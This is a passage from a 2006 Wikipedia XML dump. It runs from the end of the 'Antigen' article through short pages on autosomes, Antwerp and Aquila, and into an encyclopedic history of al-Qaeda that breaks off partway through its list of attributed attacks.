*'''Tolerogen''' - An antigen that invokes a specific immune non-responsiveness due to its [[molecular form]]. If its molecular form is changed, a tolerogen can become an immunogen. 
*'''Allergen''' - An allergen is a substance that causes the [[allergic reaction]]. It can be ingested, inhaled, injected or comes into contact with skin.

Cells present their antigens to the et via a [[histocompatibility molecule]]. Depending on the antigen presented and the type of the histocompatibility molecule, several types of [[immune cell]]s can become activated.

==Origin of antigens==
We can also classify antigens according to their origin.

===Exogenous antigens===
Exogenous antigens are antigens that have entered the body from the outside, for example by inhalation, ingestion, or injection. By [[endocytosis]] or [[phagocytosis]], these antigens are taken into the [[antigen-presenting cell]]s (APCs) and processed into fragments. APCs then present the fragments to [[T helper cells]] ([[CD4]]&lt;sup&gt;+&lt;/sup&gt;) by the use of [[Major histocompatibility complex|class II histocompatibility molecule]]s on their surface. Some T cells are specific for the peptide:MHC complex. They become activated and start to secrete [[cytokine]]s. Cytokines are substances that can activate [[cytotoxic T lymphocytes]] (CTL), antibody-secreting [[B cells]], [[macrophages]] and other cells.

===Endogenous antigens===
Endogenous antigens are antigens that have been generated within the cell, as a result of normal cell [[metabolism]], or because of viral or intracellular bacterial [[infection]]. The fragments are then presented on the cell surface in the complex with [[class I histocompatibility molecule]]s. If activated cytotoxic CD8&lt;sup&gt;+&lt;/sup&gt; [[Cytotoxic T cell|T cell]]s recognize them, the T cells begin to secrete different [[toxin]]s that cause the [[lysis]] or [[apoptosis]] of the infected cell. In order to keep the cytotoxic cells from killing cells just for presenting self-proteins, self-reactive T cells are deleted from the repertoire as a result of [[central tolerance]] (also known as [[negative selection]] which occurs in the [[thymus]]). Only those CTL that do not react to self-peptides that are presented in the thymus in the context of [[MHC class I]] molecules are allowed to enter the bloodstream.

There is an exception to the exogenous/endogenous antigen paradigm, called [[cross-presentation]].

===Autoantigens===
An [[autoantigen]] is usually a normal protein or complex of proteins (and sometimes DNA or RNA) that is recognized by the immune system of patients suffering from a specific [[autoimmune disease]]. These antigens should under normal conditions not be the target of the immune system, but due to mainly genetic and enviromental factors the normal [[immunological tolerance]] for such an antigen has been lost in these patients.

==Tumor antigens==
'''Tumor antigens''' are those antigens that are presented by the [[MHC I]] molecules on the surface of [[tumor cell]]s. These antigens can sometimes be presented only by tumor cells and never by the normal ones. In this case, they are called '''tumor-specific antigens''' and typically result from a tumor specific mutation. More common are antigens that are presented by tumor cells and normal cells, and they are called '''tumor-associated antigens'''. [[Cytotoxic T lymphocytes]] that recognized these antigens may be able to destroy the tumor cells before they proliferate or [[metastasize]]. 

Tumor antigens can also be on the surface of the tumor in the form of, for example, a mutated receptor, in which case they will be recognized by [[B cells]].

==External links==
National Library of Medicine/Medline (National Insititute of Health) website '''http://www.nlm.nih.gov/medlineplus/ency/article/002224.htm'''

{{immune_system}}
[[Category:Immune system]]
[[Category:Immunology]]

[[bg:Антиген]]
[[cs:Antigen]]
[[da:Antigen]]
[[de:Antigen]]
[[es:Antígeno]]
[[eu:Antigeno]]
[[fr:Antigène]]
[[ko:항원]]
[[it:Antigene]]
[[he:אנטיגן]]
[[nl:Antigeen]]
[[ja:抗原]]
[[no:Antigen]]
[[pl:Antygen]]
[[pt:Antígeno]]
[[ro:Antigen]]
[[fi:Antigeeni]]
[[sv:Antigen]]
[[vi:Kháng nguyên]]
[[uk:Антиген]]
[[zh:抗原]]</text>
    </revision>
  </page>
  <page>
    <title>Autosome</title>
    <id>1916</id>
    <revision>
      <id>40212087</id>
      <timestamp>2006-02-19T00:09:48Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">An '''autosome''' is a non-sex [[chromosome]]. It is an ordinary paired chromosome that is the same in both [[sex]]es of a [[species (biology)|species]]. For example, in humans, there are 22 pairs of autosomes. The X and Y chromosomes are not autosomal.

Non-autosomal chromosomes are usually referred to as [[sex chromosome]]s or, less frequently, as gonosomes.

===Uses===
An ''autosomal dominant gene'' is one on an autosome that is always expressed, even if a single copy exists. The chance is 1:2 for passing this gene to offspring. There are 23 pairs of chromosomes in humans.

{{chromo}}

[[Category:Chromosomes]]

[[de:Autosom]]
[[et:Autosoom]]
[[es:Autosómico]]
[[fr:Chromosome homologue]]
[[he:אוטוזומי]]
[[hu:Autoszóma]]
[[nl:Autosoom]]
[[pl:Autosom]]
[[sr:Аутозом]]
[[sv:Autosom]]</text>
    </revision>
  </page>
  <page>
    <title>Antwerp (disambiguation)</title>
    <id>1919</id>
    <revision>
      <id>38625655</id>
      <timestamp>2006-02-07T15:54:35Z</timestamp>
      <contributor>
        <username>Percy Snoodle</username>
        <id>163840</id>
      </contributor>
      <comment>[[computer role-playing game]]</comment>
      <text xml:space="preserve">'''Antwerp''' (''Antwerpen'' in [[Dutch language|Dutch]]) is the name of a city and a province in [[Flanders]], one of the three regions of [[Belgium]]:
* [[Antwerp]] (city)
* [[Antwerp (province)]]

'''Antwerp''' is also the name of a number of places in the [[United States]]:
* [[Antwerp, Ohio]]
* [[Antwerp Township, Michigan]] 
* [[Antwerp (village), New York |Antwerp, New York]] (village) 
* [[Antwerp (town), New York |Antwerp, New York]] (town) 

An '''antwerp''' is also a monster in the classic [[computer role-playing game]]  [[Quest for Glory]] series. It is unclear whether the monster was named after the city in Belgium or if this was a coincidence.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Aquila</title>
    <id>1920</id>
    <revision>
      <id>41753198</id>
      <timestamp>2006-03-01T14:23:02Z</timestamp>
      <contributor>
        <username>Colonies Chris</username>
        <id>577301</id>
      </contributor>
      <comment>moved CEV to [[Altair (disambiguation)]]</comment>
      <text xml:space="preserve">The term '''Aquila''' can refer to several things:

*''Aquila'' is Latin for [[eagle]].
*''Aquila'' is a genus of birds to which some eagles, particularly the [[Golden Eagle]], belong. See [[eagle]].
*[[Aquila (constellation)|Aquila]] is the astronomical constellation of The Eagle. 
*[[Aquila (Roman)|Aquila]] is the eagle-shaped battle standard of a Roman legion.

'''Places:'''
*[[L'Aquila]], sometimes &quot;Aquila&quot;, is a town in [[Italy]].
*[[Aquila, Michoacán]], is a municipality and its main town in the Mexican state of [[Michoacán]].
*[[Aquila, Veracruz]], is a municipality and its main town in the Mexican state of [[Veracruz]].
*[[Aquila, Switzerland]], is a village in the canton of [[Ticino]].

'''People:'''
*[[Aquila (bible)|Aquila]], a Biblical person from the Acts and Paul's letters.
*[[Aquila of Sinope]], 2nd century author of a translation of the Old Testament into Greek

'''Craft:'''
* [[USS Aquila (PHM-4)|USS ''Aquila'']], a hydrofoil formerly operated by the U.S. Navy.
* The [[Italian aircraft carrier Aquila|''Aquila'']], a World War II Italian aircraft carrier. 
* [http://i1.tinypic.com/nz3asx.jpg ''Aquila UAV''] was the [[US Army]]'s first [[unmanned aerial vehicle|UAV]] for reconnaissance

'''Organisations:'''
* [[Aquila Airways]], a British flying boat operator (1948&amp;ndash;1958).
* [[Aquila, Inc.]], an electric and gas utility headquartered in Kansas City, Missouri, United States. 
* ''Aquila'' is an Italian car manufacturer or brand - see [[List of automobile manufacturers]]
* ''Aquila Cycles'' is a [http://www.aquilacycles.com/ Canadian bicycle manufacturer]

'''Entertainment and literature:'''
* ''Aquila'' is the title of a book by [[Andrew Norriss]]
* [[Aquila (TV Show)|''Aquila'']] was a BBC TV production for children that originally aired in the UK during the late 1990s.
{{disambig}}

[[ca:Aquila]]
[[de:Aquila]]
[[es:Aquila]]
[[fr:Aquila]]
[[it:Aquila]]
[[nl:Aquila]]
[[pl:Orzeł (strona ujednoznaczniająca)]]
[[pt:Aquila (desambiguação)]]
[[tr:Kartal]]</text>
    </revision>
  </page>
  <page>
    <title>Al-Qaeda</title>
    <id>1921</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42158957</id>
      <timestamp>2006-03-04T05:15:58Z</timestamp>
      <contributor>
        <username>JW1805</username>
        <id>104381</id>
      </contributor>
      <minor />
      <comment>rvt</comment>
      <text xml:space="preserve">{{lowercase|title=al-Qaeda }}
[[Image:Osama-med.jpg|thumb|right|[[Osama bin Laden]], founder of al-Qaeda, in the 1990's.]]

'''al-Qaeda''' ({{lang-ar|القاعدة}}, ''el-Qā‘idah'' or ''al-Qā‘idah''; &quot;the foundation&quot; or &quot;the base&quot;) is the name given to an international [[Islamic fundamentalism|Islamic fundamentalist]] campaign comprised of independent and collaborative cells that all profess the same cause of reducing outside influence upon [[Islam]]ic affairs.  Though al-Qaeda is philosophically heterogeneous, prominent members of the movement are considered to have [[Salafi]] beliefs.

The [[National Commission on Terrorist Attacks Upon the United States]] (9/11 Commission) says that al-Qaeda is responsible for a large number of high-profile, violent attacks against civilians, military targets, and commercial institutions in both the west and the Muslim world. The [[9/11 Commission Report]] attributed the [[September 11, 2001 attacks]] on the [[World Trade Center]] in [[New York City]], [[The Pentagon]] in [[Arlington, Virginia|Arlington]] and Flight 93 in Pennsylvania to al-Qaeda. 

Although the group may have been directly responsible for these attacks, many respected observers such as [[Michael Scheuer]], an ex-[[CIA]] terrorism analyst, believe that al-Qaeda has evolved into a ''movement'' &quot;...where the [[jihad]] is self-sustaining, where Islamic warriors fight America with or without allegiance to al-Qaeda’s bin Laden, and where the name 'al-Qaeda' provides the inspiration for subsequent international attacks.&quot; &lt;ref&gt;{{cite web | title=Experts fear 'endless' terror war | work=MSNBC.com | url=http://www.msnbc.msn.com/id/8524679 | accessdate=July 9 | accessyear=2005}}&lt;/ref&gt;

The origins of al-Qaeda can be traced to the [[Soviet Union|Soviet]] invasion of [[Afghanistan]], when a cadre of non-Afghani, [[Arab]] [[Muslim]] fighters joined the largely [[United States]] and [[Pakistan]]-funded Afghan [[mujahideen|mujāhidīn]] anti-Russian resistance movement.  [[Osama bin Laden]], a member of a prominent Saudi Arabian business family, led an informal grouping which became a leading fundraiser and recruitment agency for the Afghan cause in Muslim countries; it channelled Islamic fighters to the conflict, distributed money and provided logistical skills and resources to both fighting forces and Afghan refugees. 

After the Soviet withdrawal from Afghanistan in 1989 many committed veterans of the war wished to fight for Islamic causes elsewhere. The invasion and occupation of Kuwait by Iraq in 1990 saw US and coalition troops sent to Saudi Arabia in preparedness for expelling Iraqi occupying forces from Kuwait. Al-Qaeda was strongly opposed to the secular regime of [[Saddam Hussein]] and bin Laden had offered use of his fighters' services to the Saudi throne, but the deployment of 'infidel' forces to Islamic sacred territory was seen as an act of treachery by bin Laden. He placed the grouping in militant opposition to the [[United States]] and its allies.  Al-Qaeda came to claim that the U.S. is oppressive toward Muslims citing U.S. support for [[Israel]] in the [[Arab-Israeli conflict]], the US military presence in several Islamic countries (particularly Saudi Arabia) and latterly the 2003 invasion and occupation of Iraq, (&quot;[[Iraq war]]&quot;) as reasons for militant action.

[[Osama bin Laden]] and [[Ayman al-Zawahiri]] are senior members of al-Qaeda's [[shura]] council, and are believed to be in contact with some of al-Qaeda's other cells.

==Overview==
In formal communications, Bin Laden has preferred to use the '''International Front for Jihad against the Jews and Crusaders''' as the name for the grouping rather than &quot;al-Qaeda&quot;. 
[[Image:Zawahiri.jpg|thumb|left|[[Ayman al-Zawahiri]].]]
While common usage of the name &quot;al-Qaeda&quot; dates from much earlier, 2001 saw the first formal use of the name &quot;al-Qaeda&quot; for the grouping when the American government decided to prosecute Bin Laden in his absence using anti-Mafia laws that required the existence of a named criminal organisation. Bin Laden himself is probably the best source for the origin of the al-Qaeda label. Speaking in 2001 he said: &quot;The name 'al Qaeda' was established a long time ago by mere chance. The late Abu Ebeida El-Banashiri established the training camps for our mujahedeen against Russia's terrorism. We used to call the training camp al Qaeda [meaning 'the base' in English]. And the name stayed.&quot;&lt;ref&gt;{{cite web | title=Transcript of Bin Laden's October interview | work=CNN.com | url=http://archives.cnn.com/2002/WORLD/asiapcf/south/02/05/binladen.transcript/index.html | accessdate=February 2 | accessyear=2005}}&lt;/ref&gt; 

Al-Qaeda's philosophical inspiration comes from the writings of [[Sayyid Qutb]], a prominent thinker from the [[Muslim Brotherhood]], whose essays inspired most of the principal militant [[Islamism|Islamist]] movements in the Middle East today. Though it adheres to no particular sect, in general its philosophy is [[Salafist]]. It calls for an armed Islamist [[revolution]] to foment the overthrow of all regimes which do not rule by Islamic law and to enforce the expulsion of Western military and commercial interests from all Muslim countries.

According to statements broadcast by al-Qaeda on the internet and on satellite TV channels, the ultimate goal of al-Qaeda is to re-establish the [[Caliphate]] across the Islamic world, by working with allied Islamic extremist groups to overthrow secular or Western-supported regimes. Anti-Israeli sentiments are often expressed.  In a 1997 interview with Peter Arnett, Osama bin Laden cites America's presence in the Middle East and its support for Israel as the chief reasons for his organization's actions.

Al-Qaeda believes that western governments, and particularly the American government, act against the interests of Muslims. Their grievances have included: the provision of economic and military support to regimes perceived by al-Qaeda as oppressive of Muslims (particularly the US and its support for Israel), the vetoing of United Nations condemnations of Israel, attempts to influence the affairs of Islamic governments and communities, direct support by means of arms or loans for anti-Islamist Arab regimes, maintaining a troop presence in Muslim countries, especially in Saudi Arabia, and (although al-Qaeda has a long history of opposition to Saddam Hussein) the American and British [[2003 invasion of Iraq]].

Besides the [[September 11, 2001, attacks]] on the [[World Trade Center]] in [[New York]] and [[the Pentagon]] in [[Washington, D.C.]], al-Qaeda is believed to have been implicitly involved in the [[1998 U.S. embassy bombings]] in [[Nairobi]], [[Kenya]], and [[Dar-Es-Salaam]], [[Tanzania]], the [[USS Cole bombing|attack on the USS Cole]], the [[7 July 2005 London bombings]], as well as many attacks on people in and of other nations around the world.

The military leader of al-Qaeda is widely reported to have been [[Khalid Shaikh Mohammed]], who was arrested in [[Pakistan]] in 2003. Its previous military leader, [[Mohammed Atef]], was killed in a U.S. bombing raid on [[Afghanistan]] in late 2001.

==History of al-Qaeda==
===Afghan jihad===
[[Image:Mujahidin3-250.jpg|thumb|right|275px|A Mujahid (plural:Mujahidin) during the Soviet war in Afghanistan. Photo by Del Boone]]
Al-Qaeda evolved from the [[Maktab al-Khadamat]] (Office of Services, MAK) — a [[mujahideen|Mujahidin]] organization fighting to establish an Islamic state during the [[Soviet war in Afghanistan]] in the [[1980s]]. Original funding was fosterd by the [[CIA]]. Osama bin Laden was a founding member of the MAK, along with [[Palestinian]] militant [[Abdullah Yusuf Azzam]]. The role of the MAK was to channel funds from a variety of sources (including donations from across the Middle East) into training [[mujahideen|Mujahidin]] from around the world in guerrilla combat, and to transport the combatants to Afghanistan. The MAK was mostly funded by donations from wealthy Muslim individuals but was also allegedly aided by the governments of [[Pakistan]] and [[Saudi Arabia]], and indirectly by the [[United States]], which channeled much of its support via the Pakistani intelligence service, the Inter-Services Intelligence (ISI) Directorate. During the latter half of the 1980s, the MAK was a relatively minor grouping in Afghanistan with no direct combatants; rather it limited its activities to fundraising, logistics, housing, education, refugee care, recruitment and the financing of other mujahideen.

After a protracted and costly war lasting nine years, the Soviet Union finally withdrew from Afghanistan in 1989. [[Mohammed Najibullah]]'s socialist Afghan government was rapidly overthrown by elements of the Mujahidin. With Mujahidin leaders unable to agree on a structure for governance, anarchy ensued with ever-changing control of ill-defined territories falling under constantly reorganising alliances and schisms between regional warlords.

===Outreach from Afghanistan===
Toward the end of the [[Soviet Union|Soviet]] military mission to Afghanistan, some [[mujahideen|Mujahidin]] wanted to expand their operations to include Islamist struggles in other parts of the world. A number of overlapping and interrelated organizations were formed to further those aspirations.

One of these was the organization that would eventually be called al-Qaeda which was formed by Osama bin Laden in 1988. Bin Laden wished to extend the conflict to nonmilitary operations in other parts of the world; Azzam, in contrast, wanted to remain focused on military campaigns. After Azzam was assassinated in 1989, the MAK split, with a significant number joining bin Laden's organization.

===Gulf War and start of US enmity===
Following the Soviet Union withdrawal from Afghanistan, Osama bin Laden returned to [[Saudi Arabia]]. The Iraqi invasion of Kuwait in 1990 had put the Saudi Arabian ruling House of Saud at risk both from internal dissent and the perceived possibility of further Iraqi expansionism. In the face of seemingly massive Iraqi military presence, Saudi Arabia's own forces were well armed but outnumbered.  Bin Laden offered the services of his mujahideen to [[Fahd of Saudi Arabia|King Fahd]] to protect Saudi Arabia from the Iraqi army.  But from the strategic viewpoint, were Iraqi forces to be ejected from Kuwait, Saudi Arabia provided the only possible land-bridge whereby international troops could assemble in order that the Iraqi invasion could be repulsed. 

After some deliberation the Saudi Monarch refused bin Laden's offer and instead opted to allow United States and allied forces to deploy on his territory.  Bin Laden considered this a treacherous deed. He believed that the presence of foreign troops in the &quot;land of the two mosques&quot; ([[Mecca]] and [[Medina]]) profaned sacred soil. After speaking publicly against the Saudi government for harboring American troops he was quickly forced into exile to Sudan and his Saudi citizenship was revoked. 

Shortly afterwards the movement which came to be known as al-Qaeda was formed.

===Sudan===
In 1991, Sudan's [[National Islamic Front]], an Islamist group that had recently gained power, invited al-Qaeda to move operations to their country. For several years, al-Qaeda ran several businesses (including an import/export business, farms, and a construction firm) in what might be considered a period of financial consolidation. The group was responsible for the construction of a major 1200km (845mi) highway connecting the capital Khartoum with Port Sudan. But they also ran a number of camps where they trained aspirants in the use of firearms and explosives.

In 1996, Osama bin Laden was asked to leave Sudan after the US put the regime under extreme pressure to expel him, citing possible connections to the 1994 attempted assassination of [[Egypt|Egyptian]] President [[Hosni Mubarak]] while his motorcade was in [[Addis Ababa, Ethiopia]].  A controversy exists regarding whether Sudan offered to turn bin Laden over to the U.S. prior to the expulsion.  The Sudanese government never indeed made such an offer but were prepared to turn him over to Saudi Arabia who declined to take him. 

Osama bin Laden finally left Sudan in a well planned and executed operation accompanied by some 200 of his supporters and their families travelling directly to Jalalabad, Afghanistan by air in late 1996.

===Bosnia===
The secession of [[Bosnia and Herzegovina|Bosnia]] from the multicultural [[Yugoslavia|Yugoslavian Federation]] and the subsequent declaration of Bosnia-Herzegovinan independence in October 1991 opened up a new ethnic and quasi-religious conflict at the heart of Europe. 	 

[[Bosnia and Herzegovina]] was ethnically diverse, with a nominal Muslim majority but with significant numbers of ethnic ([[Orthodox Christian]]) [[Serbs]] and ([[Roman Catholic]]) [[Croats]] distributed across its territory. It comprised a large, but militarily weak component of the former Yugoslavia and Yugoslavian disintegration saw some ethnic Serbs and some ethnic Croats within Bosnia, supported by their rump adjacent states (Serbia and Croatia), engage in a three way conflict against the [[Bosniaks]] dominated core. 	 

Radical Arab veterans of the war against the Soviets in [[Afghanistan]] seized on Bosnia as a new opportunity to &quot;defend Islam&quot;. Besieged on two fronts and seemingly abandoned by the West, the Bosnian regime was willing to accept any help it could get, military or financial, including that of a number of Islamic organisations, of which al-Qaeda was one&lt;ref&gt;{{cite book | author = Kohlmann, Evan F. | title = Al-Qaida's Jihad in Europe: The Afghan-Bosnian Network | publisher = Berg | year = 2004 | id = ISBN 1859738079}}&lt;/ref&gt;.

Several close associates of Osama bin Laden (most notably, Saudi [[Khalid bin Udah bin Muhammad al-Harbi]], alias Abu Sulaiman al-Makki) joined the conflict in Bosnia&lt;ref&gt;{{cite book | author=Kohlmann, Evan F. | title = Al-Qaida's Jihad in Europe: The Afghan-Bosnian Network  | publisher=Berg | year=2004 | id=ISBN 1859738079}}&lt;/ref&gt;, but while al-Qaeda might initially have seen Bosnia as a possible bridgehead enabling the radicalisation of European Muslims for operations against other European states and America, [[Bosniaks]] had been secularised for generations and their interest in fighting was largely limited to securing the survival of their nascent state. 	 

The &quot;Bosnian Mujahidin&quot; (comprising largely Arab veterans of the Afghan war and not ''necessarily'' members of al-Qaeda) thus operated as a largely autonomous force within central Bosnia. While their bravery in the fray initially attracted a small number of native Bosnians to join them, their brutality and a rising number of atrocites committed against civilians came to appall many native Bosnians and repelled new recruits. At the same time, their vigorous attempts to Islamicize the local population with rules on appropriate dress and behaviour were widely resented and largely went unheeded. In his book ''Al-Qaida’s Jihad in Europe: the Afghan-Bosnian network'', Evan Kohlmann sums up: ‘In spite of vigorous efforts to ‘Islamicise’ the nominally Muslim Bosnian populace, the locals could not be convinced to abandon pork, alcohol, or public displays of affection. Bosnian women persistently refused to wear the [[hijab]] or follow the other mandates for female behaviour prescribed by extreme fundamentalist Islam.’ 	 

The signing of the [[Washington Agreement]] in March 1994 brought to an end the Bosnian-Croatian conflict. While the &quot;Bosnian Mujahidin&quot; remained to fight on in the war against the Serbs, the [[Dayton Peace Accord]] of November 1995 brought that conflict to an end and required that foreign fighters disband and leave the country, with aid being conditional on this taking place. With Bosnian government support, [[NATO]] forces took effective action to close their bases and deport them. A limited number of former Mujahidin who had either married native Bosnians or who could not be found a country to go to were permitted to stay in Bosnia and granted Bosnian citizenship, but with the war in Bosnia over, many committed battle-hardened veterans had already returned to familiar territory.

===Return to Afghanistan===
After the Soviet withdrawal, Afghanistan was effectively ungoverned for seven years and plagued by constant infighting between the former allies, the various Mujahidin groups and their leaders. 

Throughout the 1990s a new force began to emerge. The origins of the [[Taliban]] (literally &quot;students&quot;) lay in children of Afghanis, many of them orphaned by the war, and many of whom had had been educated in the rapidly expanding network of Islamic schools (madrassas) either in Kandahar or in the refugee camps on the Afghan-Pakistani border.

According to Ahmad Rashid's well-regarded book ''Taliban'', five leaders of the Taliban were graduates of a single madrassa, Darul Uloom Haqqania, Akora Khattak, near Peshawar which is situated in Pakistan but which was largely attended by Afghan refugees. This institution reflected Salafi beliefs in its teachings and much of its funding came from private donations from wealthy Arabs for which bin Laden provided conduit. A further four more leading figures (including the perceived Taliban leader Mullah [[Mohammed Omar]] Mujahed) attended a similarly funded and influenced madrassa in Kandahar, Afghanistan. 

The ties between the Afghan Arabs and Taliban ran deep. Many of the mujahidin who later joined the Taliban fought alongside Afghan warlord Mohammad Nabi Mohammadi's Harkat i Inqilabi grouping at the time of the Russian invasion. This grouping had also enjoyed the loyalty of most Afghan Arab fighters.

The continuing internecine strife between various factions and accompanying lawlessness following the Soviet withdrawal enabled the growing and well-disciplined [[Taliban]] to expand their control over territory in Afghanistan and they came to establish an enclave which it called the [[Islamic Emirate of Afghanistan]]. In 1994, they captured the regional centre of Kandahar and making rapid territorial gains thereafter, went on to conquer the capital, Kabul, in September 1996.

After Sudan made it clear bin Laden and his group were no longer welcome in that year, Taliban-controlled Afghanistan -- with previously established connections between the groups, a similar outlook on world affairs and largely isolated from American political influence and military power -- provided a perfect location for al Qaeda to headquarter.

Some 200 bin Laden supporters and their families departed Khartoum for Jalalabad by air in 1996. Thereafter al-Qaeda enjoyed the Taliban's protection and a measure of legitimacy as part of their Ministry of Defense, although only Pakistan, Saudi Arabia, and the [[United Arab Emirates]] recognized the Taliban as the legitimate government of Afghanistan. 

Al-Qaeda training camps in Afghanistan and the Pakistan border regions are alleged to have trained militant Muslims from around the world. Despite the perception of some people, al-Qaeda members are ethnically diverse and are connected by their radical version of Islam.

An ever-expanding network of supporters thus enjoyed a safe haven in Taliban-controlled Afghanistan until the Taliban were defeated by a combination of local forces and US troops in 2001. Osama Bin Laden and other al-Qaeda leaders are still believed to be located in areas where the population is sympathetic to the Taliban in Afghanistan or the border Tribal Areas of Pakistan.

===Start of militant operations against civilians===
On [[February 23]], [[1998]], Osama bin Laden and [[Ayman al-Zawahiri]] of [[Egyptian Islamic Jihad]] issued a [[fatwa]] under the banner of the '''World Islamic Front for Jihad Against the Jews and Crusaders''' saying that &quot;to kill Americans and their allies, civilians, and military is an individual duty of every Muslim who is able.&quot; Although neither man possessed the Islamic credentials, education or stature to issue a fatwa of any kind, this seems to have been overlooked in the enthusiasm of the moment. This was also the year of the first major attack reliably attributed to al-Qaeda, the [[1998 U.S. embassy bombings|embassy bombings]] in [[East Africa]], which resulted in upward of 300 deaths. In 1999, Egyptian Islamic Jihad officially merged with al-Qaeda, and al-Zawahiri became bin Laden's closest confidant.

===September 11 attacks===
[[Image:WTC attack 9-11.jpg|thumb|left|United Airlines Flight 175 crashing into the South World Trade Center Tower]]
Following the [[September 11, 2001 attacks]] attributed by authorities to al-Qaeda, the United States began to build up military forces in preparation for an attack on Afghanistan (whose government harboured bin Laden's organization) in response. In the weeks before the United States invaded, the Taliban twice offered to turn over bin Laden to a neutral country for trial if the United States would provide evidence of bin Laden's complicity in the attacks. The Americans, however, refused, and soon thereafter [[U.S. invasion of Afghanistan|invaded Afghanistan]] and, together with the [[Afghan Northern Alliance]], deposed the [[Taliban]] government. 

As a result of this invasion, Taliban training camps were destroyed and much of the alleged existing operating structure of al-Qaeda was disrupted, although strong resistance has remained in Afghanistan, and its main leaders, including Bin Laden, have not been caught. The American government now claims that two-thirds of the top leaders of al-Qaeda in 2001 are currently in custody (including [[Ramzi bin al-Shibh]], [[Khalid Sheikh Mohammed]], [[Abu Zubaydah]], [[Saif al Islam el Masry]], and [[Abd al-Rahim al-Nashiri]]) or dead (including [[Mohammed Atef]]), though it warns the organization is not yet defeated and battles between the United States forces, the Taliban and al-Qaeda continue.

===Activity in Iraq===
[[Image:Zarqawi001.jpg|frame|right| Abu Musab Al-Zarqawi]]

{{See also|Saddam Hussein and al-Qaeda}}
Osama bin Laden first took interest in [[Iraq]] when that country invaded [[Kuwait]] in 1990 (giving rise to concerns that the secular, [[socialist]] [[Baathist]] government of Iraq might next set its sights on [[Saudi Arabia]], homeland of bin Laden and of Islam itself). In a letter sent to [[Fahd of Saudi Arabia|King Fahd]], he offered to send an army of mujahideen to defend Saudi Arabia &lt;ref&gt;{{cite web | title=Who is Osama Bin Laden? | work=BBC.com | url=http://news.bbc.co.uk/1/hi/world/south_asia/1551100.stm | accessdate=July 20 | accessyear=2004}}&lt;/ref&gt;.

During the [[Gulf War]], the organization's interests became split between outrage with the intervention of the United Nations in the region and hatred of [[Saddam Hussein|Saddam Hussein's]] [[secular]] government, as well as expression of concern for the suffering that Islamic people in Iraq were undergoing. 

Bin Laden referred to Saddam Hussein (and the Baathists) as evil, a demon or devil worshipper in his speeches and recorded/written announcements, calling for his overthrow by the people of Iraq. In spite of the distrust Osama bin Laden and Saddam Hussein had for each other, published reports documented a number of alleged contacts between their organizations.  Official investigations by the [[NSA]], [[CIA]], [[DIA]], [[FBI]], the [[US Department of State|State Department]], the [[9/11 Commission]], and the [[Senate Select Committee on Intelligence]] -- have led most analysts to conclude that there is no evidence of a cooperative relationship between them.  (See [[Saddam Hussein and al-Qaeda]]).

During the [[2003 invasion of Iraq]], al-Qaeda took more formal interest in the region and is known to have been responsible for actively organizing and aiding local resistance to the occupying coalition forces and the emerging democracy. During Iraq's elections in January 2005 al-Qaeda claimed responsibility for nine suicide blasts in the Iraqi capital [[Baghdad]].

[[Abu Musab al-Zarqawi]], founder of [[Jama'at al-Tawhid wal-Jihad]] and alleged ally of al-Qaeda, formally merged with al-Qaeda on [[17th October]] [[2004]]. The organization started to use the banners of &quot;[[Al-Qaeda in Iraq|al-Qaeda in the Land Between the Two Rivers]]&quot;, instead of old [[Jama'at al-Tawhid wal-Jihad]] banners. In the merger al-Zarqawi declared loyalty to [[Osama bin Laden]].

===Harmony Papers===
Documents seized from al-Qaeda were recently declassified from the Harmony database and became the subject of a published study from West Point titled ''Harmony and Disharmony: Exploiting al-Qa’ida’s Organizational Vulnerabilities.'' [http://www.ctc.usma.edu/aq/Harmony%20and%20Disharmony%20--%20CTC.pdf] The papers give an interesting look into the history of the movement, organizational structure, tensions among leadership and the lessons learned. 

One al-Qaeda writer concluded that one of the lessons learned is the influence of secular Baathist thinking distorts the message of jihad.  This writer advises the movement not to allow the jihad message to be influenced by the Iraqi Baath message. (Page 79) [http://www.ctc.usma.edu/aq/Harmony%20and%20Disharmony%20--%20CTC.pdf]

==Incidents attributed by some to al-Qaeda==
''Note: al-Qaeda does not take credit for most of the following actions, resulting in ambiguity over how many attacks the group has actually conducted.  Following the U.S. declaration of the [[War on Terrorism]] in 2001, the U.S. government has striven to highlight any connections between other terrorist groups and al-Qaeda.  Some prefer to attribute to [[al-Qaedaism]] actions that might not be directly planned by al-Qaeda as a military headquarter, but which are inspired by its tenets and strategies.'' 

[[Image:TerroristAttacksAlQaeda.png|thumb|right|500px|World Map of attacks attributed to al-Qaeda]]

The first militant attack that al-Qaeda allegedly carried out consisted of three bombings at hotels where American troops were staying in [[Aden]], [[Yemen]], on [[December 29]], 1992. A Yemeni and an [[Austria]]n tourist died in one bombing.

There are disputed claims that al-Qaeda operatives assisted in the shooting down of U.S. [[helicopter]]s and the killing of U.S. servicemen in [[Somalia]] in 1993. (see: [[Battle of Mogadishu]])

[[Ramzi Yousef]], who was involved in the 1993 World Trade Center bombing (though probably not an al-Qaeda member at the time), and [[Khalid Sheik Mohammed]] planned [[Operation Bojinka]], a plot to destroy airplanes in mid-Pacific flight using explosives. An apartment fire in [[Manila, Philippines]] exposed the plan before it could be carried out. Youssef was arrested, but Mohammed evaded capture until 2003.

Al-Qaeda is often listed as a suspect in two bombings in [[Saudi Arabia]] in 1995 and 1996: the bombing at a U.S. military facility in [[Riyadh]] in [[November]] [[1995]], which killed two people from [[India]] and five Americans, and the June 1996 [[Khobar Towers bombing]], which killed American military personnel in [[Dhahran, Saudi Arabia|Dhahran]]. However, these attacks are usually ascribed to [[Hizbullah]].

Al-Qaeda is believed to have conducted the [[1998 U.S. embassy bombings|bombings]] in August 1998 of the U.S. embassies in [[Nairobi]], [[Kenya]], and [[Dar es Salaam]], [[Tanzania]], killing more than 200 people and injuring more than 5,000 others.

In [[December]] [[1999]] and into 2000, al-Qaeda [[2000 millennium attack plots|planned attacks]] against U.S. and [[Israel]]i tourists visiting [[Jordan]] for millennial celebrations; however, [[Jordan]]ian authorities thwarted the planned attacks and put 28 suspects on trial. Part of this plot included the planned bombing of the [[Los Angeles International Airport]] in [[Los Angeles, California]], but this plot was foiled when bomber [[Ahmed Ressam]] was caught at the US-[[Canada|Canadian]] border with explosives in the trunk of his car. Al-Qaeda also planned to attack the [[USS The Sullivans (DDG-68)|USS ''The Sullivans'']] on [[January 3]], [[2000]], but the effort failed due to too much weight being put on the small boat meant to bomb the ship.

